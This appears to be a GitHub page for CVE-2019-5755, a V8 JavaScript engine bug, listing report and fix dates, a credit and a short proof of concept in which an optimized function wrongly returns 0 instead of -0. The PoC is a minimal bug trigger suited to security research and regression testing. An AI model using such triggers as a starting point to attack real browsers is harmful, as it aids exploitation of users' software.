Skip to content

Latest commit

 

History

History
21 lines (15 loc) · 341 Bytes

CVE-2019-5755.md

File metadata and controls

21 lines (15 loc) · 341 Bytes

CVE-2019-5755

  • Report: Dec 2018
  • Fix: Jan 2019
  • Credit: Jay Bosamiya

PoC

function foo(trigger) {
  return (trigger ? -0 : 0) - 0;
}

assertEquals(0, foo(false));
%OptimizeFunctionOnNextCall(foo);
assertEquals(-0, foo(true)); // Failure: expected <-0> found <0>

Reference